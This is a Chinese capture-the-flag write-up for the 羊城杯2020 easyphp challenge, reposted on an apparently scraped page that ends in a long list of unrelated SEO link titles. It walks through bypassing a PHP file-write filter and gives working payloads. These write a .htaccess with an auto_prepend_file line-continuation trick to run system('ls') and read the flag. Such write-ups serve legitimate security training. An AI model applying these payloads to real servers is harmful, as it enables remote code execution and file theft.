当前位置: 首页 > news >正文

平板怎么做网页兰州seo公司

平板怎么做网页,兰州seo公司,网络推广网,电影网站做流量[羊城杯2020]easyphp 文章目录 [羊城杯2020]easyphp掌握知识解题思路关键paylaod 掌握知识 ​ .htaccess文件的利用,把自己指定当做 php文件处理;preg_match正则匹配的了解,stristr函数的绕过;file_put_contents文件写入操作的了…

[羊城杯2020]easyphp

文章目录

      • [羊城杯2020]easyphp
      • 掌握知识
      • 解题思路
      • 关键paylaod

在这里插入图片描述

掌握知识

.htaccess文件的利用,把自己指定当做 php文件处理;preg_match正则匹配的了解,stristr函数的绕过;file_put_contents文件写入操作的了解。.htaccess文件格式的了解,注释符后跟一行内容。代码审计,unlink清除文件。文件写入第三个参数的换行符绕过。

解题思路

  1. 大家题目链接,发现是一道代码审计的题目,简单读了一下代码,发现会在写入文件之前会删除目录下的除了index.php的文件。写入文件的文件名和文件内容也是可控的,只不过存在过滤
 <?php$files = scandir('./'); foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}}}if(!isset($_GET['content']) || !isset($_GET['filename'])) {highlight_file(__FILE__);die();}$content = $_GET['content'];if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {echo "Hacker";die();}$filename = $_GET['filename'];if(preg_match("/[^a-z\.]/", $filename) == 1) {echo "Hacker";die();}$files = scandir('./'); foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}}}file_put_contents($filename, $content . "\nHello, world");
?> 
  1. stristr函数对文件内容进行过滤,该函数绕过还是简单的,只需要添加一些特殊字符就可以了,和字符串弱类型比较相似。对于文件名的正则匹配,有点没读懂怎么个条件,到底是允许字母还是不允许,测试了一下该代码环境,运行之后明白该正则条件输入.[a-z]是可以绕过该正则的,返回false

image-20231024201703882

image-20231024201709067

  1. 文件名和文件内容的绕过都分析结束后,就可以来想如何进行利用了,既然会删除除了index.php文件,直接覆盖index.php文件是不是就可以了,尝试写入index.php文件,但是再次访问并没有什么内容。尝试写入其他的php文件中,发现只是将文件内容回显了罢了

image-20231024202634430

image-20231024202704415

  1. 到这里就有点明白了,靶机目录环境并不会解析php文件,所以才会原封不动返回出来内容,测试发现是阿帕奇服务器,就想到上传文件利用.htaccess配置文件执行jpg文件中的php代码,但是再进行第二次文件写入时会把之前的文件删除掉,所以不能上传两次来利用,index.php文件也不能写入。
  2. 去搜索了一下.htaccess文件的利用,发现在一个文章中写了.htaccess文件也可以在不存在php文件下进行解析执行php代码,利用的配置文件中的php_value auto_append_file参数[CTF].htaccess的使用技巧总结_.htaccess ctf_Y4tacker的博客-CSDN博客

image-20231024203323461

image-20231024203328217

  1. 文章还贴心给出了file被过滤的情况,正好和本次过滤吻合可以直接套用。但是在文件写入函数中还有一个参数\nHello, world,由于\n所以在写入文件之后会把后面的英文写入到下一行,根据了解这不符合当前.htaccess解析格式,不能够正常解析,所以需要在上面距离的代码后面先闭合php代码,再加上\\n\进行转义即可,即为?>\,闭合结果为?>\\nHello, world即可将后面的内容输出为一行

  2. 所有的细节已经分析完毕,只需要将文件名和文件内容传参即可自动解析其中的php代码,将结果输出出来了,#后面跟着任意代码执行,由于传参是一行的,所以换行的地方需要使用%0a进行代替,#%23代替,传参测试paylaod,运行两次成功执行代码

?content=php_value auto_prepend_fi\%0ale .htaccess%0a%23<?php system("ls")?>\&filename=.htaccess

image-20231024205134688

  1. paylaod成功运行得到结果,接下来就只需要修改命令执行函数里面的参数,找到flag文件读取拿下flag即可了,根据查看发现flag在根目录下,简单的RCEbypass绕过flag过滤即可拿下flag

image-20231024205312380

image-20231024205315329

关键paylaod

php_value auto_prepend_fi\
le .htaccess
#<?php system("ls")?>\?content=php_value auto_prepend_fi\%0ale .htaccess%0a%23<?php system("ls")?>\&filename=.htaccess?content=php_value auto_prepend_fi\%0ale .htaccess%0a%23<?php system("ls /")?>\&filename=.htaccess?content=php_value auto_prepend_fi\%0ale .htaccess%0a%23<?php system("cat /fl'a'g")?>\&filename=.htaccess
http://www.shuangfujiaoyu.com/news/42690.html

相关文章:

  • 南阳提高网站排名seo课程培训班费用
  • wordpress 虚拟下载插件网页优化方案
  • 箱包网站建设策划报告外贸谷歌优化
  • 中文电商网站模板网络软文推广案例
  • 网站设计一个版块网络关键词优化方法
  • 网站推广其他方案内容百度seo排名优化助手
  • 网站建设人才seo任务
  • 做网站前台步骤谷歌广告联盟一个月能赚多少
  • 怎么做诚信通网站的店招北京百度seo
  • 2015做网站前景容易被百度收录的网站
  • 深圳龙华企业网站设计营销策略模板
  • 建立一个公司网站网络营销常用的工具有哪些
  • app ui模板seo查询系统
  • 江汉路做网站的公司seo营销外包
  • 中国建设银行企业网站seo诊断a5
  • 做网站和商城有什么好处网站如何做优化推广
  • 网站创建怎么做百度下载app安装
  • 深圳网站建设开发深圳网络营销
  • 做办公家具在哪个网站推销好ip反查域名网站
  • 做网站如何月入10万最近营销热点
  • 可信赖的常州网站建设seo提高网站排名
  • 自己做网站的选修课网络推广外包公司哪家好
  • 互联网网站制作在线查网站的ip地址
  • 成都网站seo推广百度竞价推广代理商
  • 建站优化靠谱app推广文案
  • 平面设计要什么学历网站优化方式有哪些
  • 找公司做网站先付全款吗太原今日头条
  • 岳阳做公司网站兰州快速seo整站优化招商
  • 建设设计项目备案在哪个网站百度搜索热度查询
  • 动漫做的游戏 迅雷下载网站有哪些商旅100网页版